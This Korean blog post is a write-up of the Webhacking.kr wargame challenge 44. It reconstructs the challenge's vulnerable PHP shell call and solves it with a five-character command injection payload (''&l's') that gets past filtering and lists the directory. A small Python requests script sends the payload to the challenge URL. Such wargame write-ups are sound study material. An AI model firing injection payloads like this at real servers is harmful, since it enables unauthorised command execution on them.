관리 메뉴

Hax0r

[풀이] Webhacking.kr 44번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 44번 문제

영준이 2017.09.12 13:55

44번 문제는 500 스코어의 문제이며, 여타 다른 문제들의 비해 스코어가 높으니 문제의 난이도 또한 높을 것 으로 예상해본다.

일단 문제 풀이를 해본 결과 본 문제는 "Command Injection" 문제이다.


문제를 보면 단순한 폼이 보이고, 그 폼안에 임의에 문자열을 기입 후 요청하니, go.html 로 리다이렉트와 동시에 그전 입력했던 임의에 문자열이 출력 되 었다.

Html 파일 이므로, 동적인 파라미터 출력은 힘들 것 이고, CLI 를 통해 입력 받은 내용을 출력하는 것 같다.

유추한 명령어는 아래와 같다.



<?php

system("echo 'hello ".$_POST[html]."' > index/go.html");


클라이언트 사이드에서 maxlength attribute 값이 5로 되어있어, 테스트 할 겸 "123456789" 의 값을 요청해보니,

서버사이드 쪽에서도 대상 문자열의 길이를 5까지하여 이후 문자열은 자르는 것 으로 보인다.

출력된 값 "12345", 따라서 다시 서버 사이드 쪽 로직을 유추해보자면 아래와 같다.



<?php

$someText = substr($_POST[html],0,5);

system("echo 'hello ".$someText."' > index/go.html"); 


이제 서버 사이드 로직을 유추해보았으니, 저 로직을 토대로 우리가 가져올 수 있는 정보를 가져와보자.

가장 먼저 생각나는 건, 본 파일의 디렉토리 내 파일 리스트 들이다.

유닉스/리눅스에서는 `ls` 명령어를 통해 디렉토리내 파일들을 출력할 수 있다.


* ls 명령어에 대한 설명


ls is a Linux shell command that lists directory contents of files and directories


ls 문자열을 요청하니, Blank page 가 나왔다.

여기서 예상해 볼 수 있는 것은 서버 사이드에서 본 문자열에대해 별도의 필터링을 하고 있다는 것 이다.

세미콜론 또한 필터링 되어 있고..


보통 Command Injection을 하기 위해서 Chaining Operators로 ";"(세미콜론)을 많이 사용한다.

하지만 이 문제에서는 세미콜론이 필터링되어있으므로 Chaining Operators를 사용해야한다.


그렇다면 아래와 같은 문자열을 생성해서 우회해보자.



'&l's


아래는 로컬에서 테스트 한 내용이다.

만약 이게 제대로 동작한다면 문제의 힌트에 조금 더 다가갈 수 있을 것 이다.



위 와 같이 요청하니, 아래와 같은 응답 값을 출력했다.

hello challenge44_PaSs_w0Rd___.php index index.php


음,  아마 저 파일이 challenge44_PaSs_w0Rd___.php 문제의 해답을 담고 있는 것 같다.

저 파일의 경로로 이동하니, 문제 Sovle 알림이 나왔다.

이로써 본 문제를 해결했다.

난이도 실제로 문제의 스코어보다 상대적으로 쉬웠다.




아래는 파이썬으로 작성한 간단한 요청 후, 응답 값이니 디렉토리내 출력 값이 궁금하신 분은 빌드하여 확인하시면 될 것 같습니다.



import requests


PHPSESSID = ''

PROBLEM_URL = 'http://webhacking.kr/challenge/web/web-30/index.php'

cookies = {

    'PHPSESSID' : PHPSESSID

}



r = requests.post(PROBLEM_URL, cookies = cookies, data = {

    'html' : "'&l's"

})


if r.text:

    print(r.text)

    r = requests.get(PROBLEM_URL.replace('index.php','') + 'index/go.html',cookies = cookies)

    print(r.text)

저작자 표시 비영리 변경 금지
신고